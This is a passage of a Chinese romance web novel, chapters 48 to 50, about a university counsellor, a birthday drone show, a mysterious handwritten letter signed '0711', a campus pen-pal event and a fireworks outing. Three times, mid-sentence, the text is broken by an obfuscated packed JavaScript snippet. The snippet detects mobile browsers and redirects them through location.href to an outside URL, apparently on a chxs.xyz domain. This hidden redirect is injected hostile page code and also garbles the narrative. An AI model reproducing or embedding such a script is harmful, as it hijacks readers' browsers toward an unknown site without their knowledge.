陈夏柠喜欢看别人玩娃娃机,但不喜欢自己上手。 大学时期跟室友玩过好几次,每次都是无所收获还费钱,从此她看透了这种游戏的本质——盈利且气人。 心情不好、爱较真的人不建议玩。 也有可能是她运气不好。 陈夏柠将硬币塞进去,不报希望地挪动手柄和按钮,伴随着机器响起“咣当”一声,她眨了下眼,怔了几秒。 不是吧,成功了?! 陈夏柠蹲下,掀开娃娃机的盖子,双手拖住玩偶的胳膊,仔细瞅了瞅。 这只泰迪熊的毛色是卡其色,穿了件深蓝色的毛衣,表情看着傲娇又呆萌。 方才是胡说的,现在这么一看,真就挺像周祈越的。 “......” 她正蹲在娃娃机底下,暗自发笑,一道熟悉得不能再熟悉的声音萦绕耳边。 “最近的场次只有爱情片了,宝贝女儿喜欢看吗?或者我们换一家。” 陈夏柠循着声源抬头看去,母女俩刚好再次从她旁边经过,这次是娃娃机挡住了聊自己的身影。 “没关系啦。”女生拉着萧婷的胳膊撒娇,“只要能跟妈妈在一起,看什么电影都无所谓。” 萧婷:“我们家夏夏还跟小时候一样乖。” “......” 陈夏柠缓缓站起身,整个僵在原地,耳畔发出一阵长长的“嗡”声。 这时周祈越兑换完游戏币回来,小框的分量很少,比第一次少一半,看到她手里拿着泰迪熊,表情自然得像意料之中的事。 “钓到了?” “嗯。”陈夏柠回过神,将泰迪熊抱在胸前,“我运气总算好了一次。” “你知道这叫什么吗?”周祈越重新站在操作台前,塞硬币,一边专心抓娃娃,一边悠闲适得地说:“你说我像它,既然你钓到了它,也就会钓到我。” “......” 陈夏柠不自觉张了张口,目瞪口呆。 没想到“钓”还能这样用。 歪理被他说的有理有据,她着实无从反驳。 “咣当——” 娃娃机接二连三地发出声响,周祈越好似突然爆发了洪荒之力,连续五次都没失手,直到将硬币用完。 刚好电影要进场了,他找前台要了两个手提袋装娃娃,陈夏柠点了两杯可乐,中份的爆米花。 入座后,她将吸管插入杯子,思考着他的“洪荒之力”,偏头看他:“难不成娃娃机有概率这种问题?” 周祈越整个窝在座椅,大咧咧地伸着长腿,空间对他很拥挤,轻笑了声:“还不赖,能自己想明白。设计者也得考虑用户体验啊,要是一直抓不到,那这种游戏还有什么意思。” 他又说:“这娃娃机就跟人生一样,需要不断的试错,才能等来最后的惊喜。” “周大哲学家。”陈夏柠咬着吸管,话中有话,“这种试错是建立在有钱的基础上。” 周祈越扭头看向她,抬手敲了下她脑门,“那我跟你说个省钱的法子,你每次玩娃娃机,应该多看看周围,肯定有人在一个机器失败了好几次,转身去下一个,那你就去他失败的机器,成功的概率会大很多。” 陈夏柠恍然明了,原来她方才的运气是建立在周祈越多次尝试之上。 不知道是不是错觉,好像遇见他之后,她真就幸运多了。 大屏幕的广告结束,进入片头,整个电影院昏暗又寂静,像进入深不见底的黑夜,其实她是害怕这种感觉的,可她身边的人像一颗守护星,让她无比心安。 这让她无端想起自己曾经做的一个梦,四周孤寂又昏暗,只剩下她一个人漫无目的,不知自己的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14348288|148203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 归途。 这种噩梦,她以前经常做,最严重的就是半夜惊醒。 但那一次,她在那条路没有遇见狼和老虎,前方被照亮的地方,吸引着她。 最终来到一个男人面前,他周身都在发着光,温暖的,明媚的。 她记得他说—— “你是打算往前走,还是原路返回。” 如果前方是周祈越的话,她想勇敢一点,奔向他。 因为,他是黑夜里最耀眼炽热的星星。 这部爱情片笑点很多,开场一会儿,全场笑声不断。 也就是在众多声音和大屏幕打下来的白光中,她发现自己左前方两个位置是萧婷和她女儿。 母女俩笑得前仰后合,好像比其他人都要开心。 也对,失而复得,她们肯定很幸福。 想到这,陈夏柠眸色一沉。 那她呢,连自己真实身份都不知道。 可乐喝多了,电影没结束,陈夏柠猛然肚子疼,起身去洗手间。 她的经期总是不太准,刚刚还喝了凉饮,按照以往的经验,有她受的了。 还好这商场的卫生间有备卫生棉,陈夏柠从隔门出来,站在洗漱台将水龙头调至热水,挤了点洗手液搓手。 一低头的功夫,旁边已经站了一个人,面前的镜子映现出那张不真实的网红脸。 陈夏柠并不知道真千金的名字,也不想跟她搭话,赶紧扯掉纸巾擦手,急急忙忙要走。 “我叫陈明夏。” 说话间,陈明夏已经挡在她面前。 “嗯。”陈夏柠轻点下头。 陈明夏哂笑:“当豪门千金的爽不爽啊?” 陈夏柠没正眼看她,这种阴阳怪气她体验过无数次了,“爽不爽你自己不是很清楚么,现在一切都回归正轨了,我们也没什么可说的了。” 陈明夏:“那你把爷爷的财产还回来啊!” ...... 从洗手间出来,周祈越正站在外面的通道入口等她,视线落到她捂肚子的手,皱了下眉:“不舒服么?” “有点。”陈夏柠欲言又止。 “那回家吧。” “好。” 周祈越牵着她的手腕下楼,车子就停在商场门口,出来的时候顺便给她买了杯热可可。 陈夏柠坐上车,小口抿着热可可,周祈越调高了些车内温度,下车,打开后备箱。 忽然,漆黑的夜色闪现光亮,路人纷纷驻足观望天空。 一下子涌现许多无人机,汇聚成一些字样—— Happybirthdayto 紧接着后面闪现一个汉字:柠 48. 书信 每次生理期,她腹部的刺痛一阵又一阵,身体蜷缩在副驾,抬眼看见“Happybirthday”的字样,眼皮跳了一下。 她不敢想,也不敢抱希望,这个生日祝福是给她的。 毕竟今天也不只是她的生日。 今天在这个商圈连续碰见萧婷和陈之夏,那么,萧婷疼爱女儿,为她计划一场无人机表演庆生,这种可能很合理。 其实还有一种可能...... 后面又上场了一波无人机,组成一个“柠”字,陈夏柠太阳穴突突直跳。 接下来,她一边忍着疼痛尽量让自己冷静下来,一边觉得周遭所有动作被按了减速键,一点点放慢又愈发清晰。 主驾驶的车门被拉开,发出声响,周祈越躬身坐进来,“砰”的一声,车门又关上。 陈夏柠维持着蜷缩的姿势,呼吸屏住,微低着头,视线落在两人座位中间的位置。 最先映入眼帘的是向日葵花束,头顶落下他低沉有磁性的嗓音:“生日快乐。” 陈夏柠心一颤,打量着花束,怔懵了几秒。 两朵向日葵,旁边有白色的迷你菊和春兰叶作点缀,包装纸是奶咖色。 周祈还在举着花,陈夏柠接过手,抬起眼睫看他,“谢谢。” 说完又急促收回目光。 周祈越这才看清她额间泛起豆大的汗珠,唇角发白,脸色很难看。 他也不知自己能做什么,帮她把花收起来边说:“要不要送你去医院?买点药?” 陈夏柠继续捧着热可可喝,有气无力道:“不用,我家里有药,睡一觉就没事了。” 周祈越点点头,拧动车钥匙,车身移动,缓慢驶出商圈。 陈夏柠看见无人机表演还在继续,在空中定格于一个图案——两朵向日葵。 直到车子加速驶远,她收回目光,崩溃地闭上眼。 她还真是氛围破坏者。 多么好的日子,也不知他计划了多久。 周祈越只口不提这事,放了首轻缓的音乐。她神经稍稍舒缓了点。 “啪”的一声,玄关的灯被摁亮,周祈越扶着她到客厅坐着,随后给她找药箱。 陈夏柠吃了颗布洛芬,已经没什么精神,拖着疲倦的身体去卧室,朝他摆摆手,“记得带上门。” 她钻进被窝里,用被子裹紧自己。 整个房间安静至极,她的呼吸喘重,很难静下心,基本处于半梦半醒的状态。 萧婷说—— “我们家夏夏还是跟小时候一样乖。” 陈之夏说—— “你偷走了我的人生十年,过着荣华富贵的日子,凭什么还能心安理得地全身而退!” “如果你不把爷爷的财产转让给我,我绝对不会让你好过!” 两人的话不停在她耳边旋转,有很多让她想不明白的地方。 - 这一夜,陈夏柠睡得不安稳,天还没亮,她起了个早床。 卧室门上贴着个纸条:【按照网上教程做了个大杂烩,醒来记得喝啊。PS:动手热一下总会吧。】 嚣张的字迹和漫不经心的口吻。 陈夏柠去厨房看了下,打开锅盖尝了一口,是红糖姜枣奶。她拧动按钮,趁着加热,自己去洗漱,换好衣服。 她将“大杂烩”倒入保温杯,背着托特包出门。国庆假期结束,今天周一,照旧要进班查早自习。 进入航海学院,广场中央,学生们个个身穿洁白的航海服,衣领整洁,整齐划一地站在一起。 李治教官一边检查他们的着装,一边扯着嗓子训斥他们的纪律问题。 陈夏柠只是站在旁边简单听了几句,接下来李教官还要考核他们叠被子、组织拔河。看样子也没她什么事了,自行去食堂吃饭。 周一的事总会多一些,尤其是刚放完假的第一天,再加上新院长上任,新官上任三把火,她们的工作更多了些。 陈夏柠拧开保温杯,喝完热气喷喷的红糖姜枣奶,全身心进入工作状态。 她正在写着学院的新闻稿,办公室的门猛然被推开,王书记来势汹汹,动作挺大,四位辅导员神经立马紧绷起来了。 虽然平日王书记挺好说话,但真要发起火来,也挺可怕的。 “公安局又打来电话了,现在的学生怎么就这么不经骗呢!” 鹿雯猫着头,小声插话:“这次是什么情况,哪个班的?” “大一的!”王书记冷不丁地瞥了眼宋月,意思是她的学生,还算给面子,简单扼要道,“被骗了二十万。” “......” 陈夏柠瞪大眼睛,暗自感叹,现在的学生都比她有钱...... 导员的工资真心不高,加上海云的消费高,要不是租房捡了个大便宜,她那点工资根本养不活自己。 “这群富二代啊,”鹿雯悄悄竖大拇指,“有钱!” “......” 王书记叹了声气,叉着腰转身看她,想起了什么,“陈老师,我安排你的任务怎么样了,想出应对策略了没?” 差点忘记这事了,突然被提问,陈夏柠怔了一下,还好提前有准备,“想好了。” 王书记挑眉,伸手邀请,“说来听听。” 其他三位导员停下手头的工作,满脸好奇地看过来。 “既然学生想谈恋爱,那么我们不妨组织一些帮助他们谈恋爱的活动,比如写信。”陈夏柠说,“现在很多人对待感情太着急,写信联系笔友,耐心了解一个人,倒是一种慢慢来的态度。” 鹿雯附和道:“对,现在很多人都觉得写信过时老套,但我觉得这是一件很浪漫的事。我们可以联各个学院,让同学们写信交友。” “这个想法不错,现在的学生总是沉浸于手机,都不积极结交现实的朋友,天天沉寂在网上。” 王书记难以理解地吐槽,“我看心理咨询室的案例,还有学生整天幻想自己跟虚拟人物恋爱......哎,这些小兔崽子,整天脑袋里乱七八糟的,就这样的别指望他们成才了,能成正常人就不错了!” “......” 陈夏柠其实也不太理解这种。她的学生时代循规蹈矩,没出什么幺蛾子,也平平淡淡的。 “陈老师,你写个策划案给我。”王书记全权把这事交给她,“具体什么活动,我们尽早实施。” “嗯好。” - 一周后,学校北广场高高搭建起“从前慢”书信交友舞台,宣传栏写着一行大字:从前车马很慢,一生只够爱一个人。 这种明目张胆鼓励恋爱交友的倒也稀奇,很多人积极参与。 女同学粉色信封信纸,男同学蓝色信封信纸。 他们可以在信里面写任何内容,女同学在封面写一句话或者画图,用来吸引对方。 男同学只能凭借封 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14361280|148203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面的话和图来选择心仪的信封,以此和女生成为笔友。 一个月内,两人每天都要互赠书信,分享日常,以此增加对彼此的了解。 一个月后,有任何一方想更换笔友,就进入下一轮,女生选男生的书信。 不想更换的,继续互赠书信,自行决定两人的相处走向。 相当于是给了学生牵线搭桥的渠道。 因为这个活动,校内书信邮寄量大增,快递员没少忙活,甚至在学校多加了几个邮筒。 渐渐地,海云的温度进入10度以下,陈夏柠每天出门都要穿着毛呢外套了。 这段时间,周祈越成功加入了海事局搜救分局,每天早出晚归。两人各自都有要忙碌的事,表白这事暂且搁置着。 “陈老师,你这个想法真不错,我们班都已经有成了的情侣了。”临近下班时间,鹿雯处理完工作,跟她闲聊天,“你是怎么想出写信这个点子的?” “我本科的时候,学校有组织过类似的活动。”陈夏柠也是在纸箱里翻出曾经收到的书信想起有这事。 “哇,跟现在一模一样吗?”鹿雯说,“当年是不是也很火。” “没有,当时参与的人并不多,因为宣传不给力,很少人知道。”陈夏柠想了想,那是大一上学期冬天,参加书信活动是因为江逸风,现在也不想提。 “当年那个活动神秘度很高,为了避免认出字迹,不是手写体,而是打印上去的内容,连称呼都是各自的生日。我们都是凭借生日编码选择笔友的。” “听上去没有现在的有意思。”鹿雯托着腮,话锋陡转,“那你和笔友聊得怎么样,最后见面了吗?” 陈夏柠眸色一沉,那只不过是她曾经的暗恋小心思。 她按照生日编码特意选了0711,笔友就是江逸风。 两人最初聊得挺不错的,每天分享日常,其实都是她说的最多,他都会有耐心回她。 后来陈夏柠将自己的心事也写上去,遇到什么难题了,他都会认真地帮她分析。以至于她依赖上了这种方式,坚持写信,从大一到大三。 每次收到他的回信,就像拆一份惊喜。 每一封信,都视若珍宝地收藏着。 今天不用查晚自习,吃完晚饭,陈夏柠回房间拖地,再次注意到那个纸箱。 她放下拖把,打开箱子,将里面的信封都拿出来,放到桌上。 每封信的封面都只有一串数字“0711”,他的生日。 停止写信的那天,也是他生日,2018年7月11日。 从哪以后,她再没给他写过信。 也不知道,江逸风知不知道对方是她。 不过也无所谓了。 陈夏柠只想把这些东西扔掉,两只手整理这些信想扔垃圾桶,由于太多,有几封信哗啦啦地掉地上。 她低头去捡,有一封信从信封里脱落出来。 陈夏柠抽出信纸,目光一顿,竟然是手写体?! [To1007 “你选择遗忘的,是我最不舍得。” ——2018.7.11] 这...这是一首歌词,她记得后来他每次都会在书信结尾分享一些歌曲。 她没见过这封信啊。 他们一直都是用的打印体,她从来没见过对方回信用手写体。 陈夏柠盯着这个字迹半响,好像不是江逸风的字迹...... 49. 0711 耗费了一夜,陈夏柠百思不得其解,唯一一封手写体是怎么回事。 根据日期,相隔了五年才得以重见天日。 她翻了翻其他信纸,全是打印体,回信内容大多都在附和她,比如“挺好的”,“多谢推荐,下次我也试试”,“今天天气的确不错”。 话语简短,却很认真地当个倾听者。 时间间隔的有点久,再加上回信内容很多,仅凭借日期和单向的回复,陈夏柠也难以想起她曾经分享的什么内容。 次日一大早,按时起床洗漱,其实也就十几分钟的事,因为最近很忙,天气变冷,她宁愿省去化妆的时间,也要多睡一会儿。 学生七点上早自习,六点五十从家里出门,走路过去抵达航院,晚五分钟也没事。每天的工作时间就是这么计划着。 不过今天,陈夏柠拉开家门,对面1301的门也开了,两人完美无缺地迎来一个对视。 刹那间,残留的困意烟消云散,心跳节奏杂乱无章地加速。 她关上门,佯装淡定地走向两人中间的位置,电梯门口。 同一时间,周祈越单手抄兜,阔步停在她旁边,弓下脖颈,端详她青色的眼圈,“又熬夜了,小熊猫。” 陈夏柠:“......” 她动了动鼻子,扭头看他眼圈,五十步笑百步罢了。 她想回怼,你是大熊猫,但又觉得任何模仿他的话,显得暧昧,还会让他占上风。 “没熬夜,只是没睡好而已。” 电梯门开,陈夏柠先进去,男人后脚跟上来,伸出修长的手指点一楼按钮。 她站在一边,快速打量了下他的装扮,藏青色飞行夹克搭配黑裤子,衣领拉链拉到顶,完全掩盖了翩翩少年气,冷俊又不羁,妥妥一个硬朗男子汉的形象。 “搜救局的工作是不是很累?”陈夏柠留意到他头发剃短,额间有细微的划伤。 电梯降落,周祈越挑眉,意味不明地看她:“我好像没告诉你,我在搜救局工作?” 话中之意,你是不是又在暗地关心我。 陈夏柠视线下移,落在他左胸口的圆形标识,“你衣服上不是写着么?” 周祈越顺着她的目光,顿时噎住,哦了声:“你视力不错。” 陈夏柠:“......” 这对话怎么似曾相识呢。 正在思考着,周祈越问:“今晚滨江公园有烟火秀,要不要一起去?” “要。”她脱口而出,极为殷切的语气。 周祈越敏锐捕捉到她这反应,眼眸明朗,噙着笑。 毕竟他们连续两周没怎么好好见面独处了,顿了顿,她又说,“不过,我晚上要查班查寝,会晚一点,你什么时候下班呀?” “你忙完给我发个消息就行了。”周祈越干脆说完前句,叮的一声,电梯门开。 两人齐刷刷抬眼,还没来得及走出去。 刘阿姨哟了一声,笑意盈盈道:“好久没见你们小情侣出双入对了!” “......” 陈夏柠招架不住这番挑逗,讪讪地垂眼。 下一秒,右手腕被一股温热圈住。 周祈越拉着她往外走,跟阿姨颔首,处变不惊道:“我们最近比较忙,也好久没见阿姨您了。” 刘阿姨走进电梯,趁着门关上前,说:“工作再忙也得抽时间约会啊,感情是需要维持的。” 周祈越认真点头。 搞得好像,他们已经是真情侣了似的。 而且刘阿姨都已经走了,他...他怎么,还不,松开她啊! 周祈越是虚握着她的手腕,在掌控着尺度,只要她一抽开,就能挣脱的。 陈夏柠也说不上来什么感觉,好似失去了反抗的能力。 两人就这么一前一后地走着,快到小区门口,他脚步一顿,回头看她,似乎想起了什么,松了手,“你也不提醒我一下。” 陈夏柠:“......” 你怎么好意思说出口!明明是你占我便宜! “走了。”试探过她的心意,周祈越照旧用指关节敲了下她脑门,“晚上见。”转身的瞬间,唇角弯了弯。 两人上班的路是反方向,陈夏柠左拐去学校,脸颊和耳后热得不行,胸腔起伏不定。 一直延续到查完班,吃完早饭,回办公室坐到工位,她才彻底平复下来。 喜欢一个人就是这样。 他的一个眼神,一句话,足以让你情不自禁。 刚打开电脑,点击鼠标,她脑海里频繁闪现早上两人的对话。 哦,想起来了,第一次见面她问他怎么知道自己是海事大学的。 ——“你衣服上不是有字么?” ——“你视力不错。” 也就是那一天,许佳念说,祈祷你遇见自己的真命天子。 好吧,她认输了。 她强烈地希望,周祈越是那个人。 陈夏柠打开手机,将昨晚拍的两张照片进行对比。 【按照网上教程做了个大杂烩,醒来记得喝啊。PS:动手热一下总会吧。】 【“你选择遗忘的,是我最不舍得。”】 前者便利贴,后者0711的信纸。 这字迹...... 还有0711..... “早上好啊,陈老师。” 陈夏柠回神,瞥见鹿雯从身边走过,急忙合上手机,“早啊,鹿老师。” 鹿雯拉开椅子坐下,闲散道:“期中考试的成绩出来了,你们班考的怎么样?” “我看看。”陈夏柠视线挪回屏幕,点开企鹅号,教务处老师发来的文件,一眼扫下去。 鹿雯拿着保温杯接水回来,察觉到她凝重的神色,“怎么,考得都不好么?” 陈夏柠:“都挺好的,唯独......” 鹿雯已然凑过来看,“我天,温可颜退步太大了吧,排名...快要倒数了。” 陈夏柠叹了声气,不用别人提醒,她也知道什么原因了。 毕竟她也曾因为喜欢一个人心情低落,导致一门功课没考好。 那是大三上学期,江逸风和时曼茜走的很近,愈发频繁,身边很多朋友经常调侃他俩是一对,还有人谣传两人已经在一起了。 江逸风总是一副散漫不羁,不把一切放在心上的态度,也不屑于解释什么。 陈夏柠极为在意这事儿,尤其是听到时曼茜要追江逸风,那段时间,她被不安和恐慌围绕着,期中考试有一门没考好。 但眼下,温可颜的情况更严重些,全科成绩都没考好。 陈夏柠说:“我找她好好谈谈吧。” 鹿雯点点头:“嗯,有必要给这姑娘做做思想工作,底子这么好,别可惜了。” 陈夏柠看了下2202班的课表,周三满课,她在班群里私聊温可颜:【温同学,今天放学后有没有时间来办公室一趟呀?】 温可颜:【怎么啦,导员。】 Lemon:【就是简单的聊聊天,你最近的生活和学习情况。】 温可颜:【明天可以吗?我今天比较忙,放学后要做家教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14390194|148203||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。】 Lemon:【行,明天上午你没课就来办公室找我吧。】 ...... 进入学期中段,学校会对学生工作进行一番检查,包括查寝,导员要亲自去视察,也趁机和学生熟络一下。 陈夏柠特意在班群里艾特全体成员,晚自习结束就回寝室,等她来查寝。 男生宿舍,由裴青寂和池一舟两个班长陪王书记亲自去了,她只需负责女生宿舍就行。 名单上有两个班女生宿舍楼和宿舍号,直到进入21号楼,陈夏柠站在门口观望了下,这曾是她本科住过四年的宿舍楼,如今翻新了许多。 好巧不巧来到宿舍号150,她敲了下门,有个麻花辫的女生开门,“导员好!” “你好,慕欢。”陈夏柠对她有印象,进屋,扫视这间宿舍,还是四人寝,有独立卫浴。 不自觉走向里面靠窗的那个上床下桌,曾经她就住在这里,这个位置很好,打开手边的窗户可以看见朝阳,和远处操场的绿荫草地。 慕欢走过来说:“这是温可颜的位置。” 陈夏柠讶然,看了眼150宿舍名单的名字,的确有她,不曾想这么有缘分。 “她还没回来吗?” 另一个女生脱口而出:“正常,她整天忙着恋爱呢。” 慕欢使劲朝那个女生眨眼,打掩护的样子。 陈夏柠没再说什么,难得再次回到曾经的宿舍床位,她多看了几眼,视线落在窗户边放的零零散散的小玩意。 以前她只在这里放过一个东西,那就是收集书信的塑料盒。 2018年7月11日,准备告白却听到江逸风那番话,陈夏柠难过到了极点,当晚,她漫无目的地在街边走着,直到停在了一家酒吧门前。 门口拉客的酒保极为热情,三两句就把引诱进去了。 当天晚上喝得烂醉,第二天中午醒来,自己躺在宿舍床上,心里难过着,眼泪已经哭干,就这么呆呆地望着天花板。 中午吃完饭,季意推开门,说话嗓音一向咋咋呼呼的:“陈夏柠,我把你的信也领回来了。” 当年那个书信活动,她们宿舍只有她和季意参加了,因为其他两位本就有男朋友。季意和笔友大二就见面,还成为了情侣,在一起后,两人继续维持着写信的传统。 宿舍门口有个邮筒,陈夏柠和季意经常互相顺手帮对方拿信。 “嘘!”祝繁小声提醒,“你小声点,她在睡觉呢。” “丢掉吧。”陈夏柠突然凉凉出声。 季意踩着梯子上来看她,“你怎么了,昨晚一个人喝那么多酒,遇到什么事了,跟我们说说。” 陈夏拧没吭声,面色很难看。 季意抿了下唇,缩回头,下去。 “先别问了。”祝繁说,“把信放到她盒子里就行了。” “哦哦好的。”季意照做。 那天也是学期的最后一天,室友们纷纷拉着行李箱回家。 陈夏柠整理好情绪,最后一个离开宿舍,简单收拾了下东西,再三犹豫,随便把放在窗户的塑料盒子塞进行李箱,回到陈家别墅。 陈夏柠再也没写过信。 原来那一天,也是她收到的最后一封信。 后来一个暑假在家里遭受姑姑的羞辱,她又与家里决裂,跑去许佳念家借宿。 离开的时候,没拿任何行李。 最后一封信,连同之前的混淆在一起,被遗忘在陈家。 为什么最后一封信用了手写体。 0711同学,你是谁? 50. 蓝色烟花 150是最后一个寝室,陈夏柠和三位女生多聊了几句,本想问她们温可颜的情况,又害怕自己意图太明显,而且这种相当于让室友打小报告,她打消了这个念头。 她看一眼时间,快九点了,走之前顺便提醒:“记得给温可颜发消息,让她早点回来。” “好,导员再见。”三位女生摆摆手。 宿舍门关上,她刚走出一步,手里的文件夹震动了下。 陈夏柠停在原地,抽出手机看消息:【我快到学校了,在哪个门等你?】 她将文件夹塞进臂弯,双手捧着屏幕敲字:【五号门吧,我也刚好查完寝。】 July:【行,陈老师摇身一变宿管阿姨了。】 宿管、阿姨?! 陈夏柠脑海快速闪回这个形象,气鼓鼓嘟着唇,立马发过去一个暴打表情包。 真是欠揍! 这姿势实在难受,她没继续聊下去,急忙把手机塞进风衣口袋里。 正要走,隔着一道门,身后传来清晰的吐槽声:“算了,别给她发消息了。她跟江澈整天黏在一起,夜不归宿不都是常事吗。” “……” 陈夏柠一怔。 从第一次见面起,温可颜就像她学生时代一样,乖学生,柔软本分,“夜不归宿”这个词着实让人联想不到跟她有关。 她没继续听下去,出宿舍。不想让他等太久,扫了辆共享单车,骑车到五号门。 周祈越的车很好认,她拉开车门坐了上去。 城市禁止烟火,但滨江公园临近郊区,位置较偏,才被允许。 陈夏柠做好了长途的准备,估计回来的也晚,像只缩头乌龟窝在副驾驶,上车十分钟了,也不见她理人。 周祈越先打破沉默,看她一眼:“喂,你这是在跟我冷战么?” 陈夏柠微眯着眼,偷笑了下,干脆顺着话凉凉道:“既然要冷战就不要说话。” 前方红灯,车子停住,周祈越眉梢微扬,找准源头:“就因为我叫你宿舍阿姨?” 陈夏柠:“......?!” 哪壶不开提哪壶,你倒是提醒我了。 这回是真生气了,她哼唧一声,抱着胳膊,别头看向窗外。 “应该不能吧。”前方绿灯亮起,周祈越继续开车,小声嘀咕,“你也不是小心眼的人。” 陈夏柠:“!!!” 什么意思,你在说我,此刻小心眼么?! 看在他开车的份上,她不跟他争执。后面的路程,无论周祈越说什么,她都不理他。 让他见识到真正的小心眼。 没过一会儿,她眼皮子打架,酸的不行。 最近的生活可谓是连轴转,早起晚归也就算了,时常要操心这个学生操心那个学生的,帮他们处理各种琐事,有时候周末还要被叫去加班。手机二十四小时待命,上周有个学生半夜突发阑尾炎,她连夜起床去医院。 说她是宿管阿姨,也不无道理。 彻底睡过去前,她心想。 也不知睡了多久,等她睁开惺忪的眼,身上披着黑色夹克,随着自己翻身,外套往下滑,掉落。 陈夏柠忙不迭坐起身,将外套捡起来,偏头看向旁边悠哉玩手机的男人,又看一眼中控台显示屏的时间,“啊,十点了,烟花秀是不是要结束了,你怎么不叫我啊?” “我哪敢啊。”周祈越从她怀中抽走外套,语调悠悠,“再惹你,我这追人的道路岂不是更艰难了。” “......” 陈夏柠又好气又好笑。 怎么不早点有这觉悟。 自从他开启了“宣战”——“我要追你了”,两人的相处方式和之前相差无二。 在此之前,陈夏柠对追人的印象,就是学生时代的自己,总是跟在一个人身后,哪怕换来一个回眸都是天大的恩赐。这份喜欢充满了不确定性,有没有回响也未可知。 所以她认为,追求者应该是一副卑微的姿态,在喜欢的人面前,会把自己放的很低。 然而周祈并不是这样,他一直都是骄傲嚣张着,无论面对谁,都是一副随性潇洒的模样。 喜欢一个人不失去自我,这不就最好的喜欢么。 思及此,陈夏柠顿时消了气。他这样挺好,她不希望周祈越变得不像自己。 她不想白来一趟,拉开车门,“去看看吧,能看个末尾也行。” 周祈越把车停在公园门口的停车位,两人往公园入口进的时候,已经有游客从里面出来了。 烟花观景地位于公园中央的圆形广场,中间有个喷泉,场地开阔,灯光把广场照得宛如白昼。即使走了一拨人,这里仍然显得拥挤。 两人站在后面,听得见砰砰的声响,视野并不好。 “跟我来。” 四周很多人的声音混合在一起,极为嘈杂,所以周祈越说这句,陈夏柠压根没听到,正一个劲儿地垫脚,在人头中找缝隙。 再回过神,两侧肩膀被两只宽大的手掌抓住。 “周祈越,你干什么......” 大灰狼有点粗鲁地,跟抓兔耳朵似的,轻而易举把小白兔拎到旁边的小径通道。 小径两侧簇拥着竹林,只有头顶的月光照映,还有男人不太友好的眼神。 这氛围,这架势...... 陈夏柠灵光一闪,双臂交叉抱住自己,后退半步:“你...你敢!” “......”周祈越打量着她,发出一阵笑腔,“你这个小脑袋瓜想什么呢。” 说着抬手转动她的身体,让她往后看。 顺着他的视线,陈夏柠抬头的瞬间,砰的一声,这次烟火响彻得格外激烈。 漆黑的夜色蓦然变成蓝色,紧接着中间迸发出金色光束,好像蓝色大海中溢出无数颗繁星。 来之前,她刷了一遍滨江公园官网发的烟花秀预告,蓝色烟花是今晚的压轴。 大三那年秋天,她和室友们来过一次,但当时她们四人吃了不干净的路边摊,集体拉肚子,没坚持看到最后。 又一年,大四上学期,三个室友纷纷忙于实习,陈夏柠考完雅思空闲下来,一个人来看烟花,只可惜没有蓝色烟花了。 挺意外也足够惊喜,今天看到了。 五分钟后,黑夜归于沉寂。 “好了,结束了。”陈夏柠饱足了眼福,声音轻快,“我们回去吧。” 周祈越:“着什么急啊,还有呢。” “嗯?”陈夏柠看向身后的广场,游客们正在有序撤离。 “跟我来。”周祈越径自往小路前方走。 陈夏柠这回听清了,跟在他身后,穿越这片小竹林,又是一片灯光汇集地。 踩在松软的草地,再往前走,有个湖心,木制栏杆前站着几对放仙女棒的情侣。 周祈越观望了下四周,在找什么东西,索性拿出手机发消息:【到底在哪啊?能不能发个定位?】 谢泽:【我跟雯雯刚走,大哥你看不到灯塔吗?这么大的建筑,你眼瞎啊?!】 周祈越正想怼回去,你他妈才眼瞎。恰好这时,一道明晃晃的光束扫过眼锋。 是灯塔的镭射灯。 陈夏柠站在一边,没吭声,注意力完全被迎面走来的两人吸引。 “他妈你能不能别总是疑心疑鬼的?”江澈停在原地,不耐烦地看着身边的姑娘,“老子说了多少遍了,是她们非要加我微信。” 温可颜眼泪巴巴地望着他,攥着衣角,吞咽了下,“那女生找你借火,有必要靠得那么近吗?” 江澈烦躁地抹了把头发:“你都说了,她是借火,是她主动又不是我。” “你就不会拒绝吗?”小姑娘受了极大委屈般,带着哭腔,“你到底有没有把我放在心上,你有女朋友了,为什么还要跟其他女生暧昧不清?” 说完温可颜低下头,肩膀一抽一抽的,泪水一滴滴掉落着。 见状,江澈双手悬空着,无措地酝酿了几秒,“我一直都是这样,在一起之前你不都清楚么。” 江澈是天之骄子,家世好,生了一张好皮囊,随便往那一站就有女人送上门。 连温可颜都不过是其中之一。 温可颜抬头跟他平视,满脸泪痕,极为狼狈,“我以为...你喜欢我,会为我改变的......” “抱歉。”江澈别过脸,言语带着无力感,“你想要的,我给不了。” “......” 两人光顾着吵架,也没在乎其他人,陈夏柠身为旁观者看得极为揪心。 周祈越回过神,问她:“你认识?” 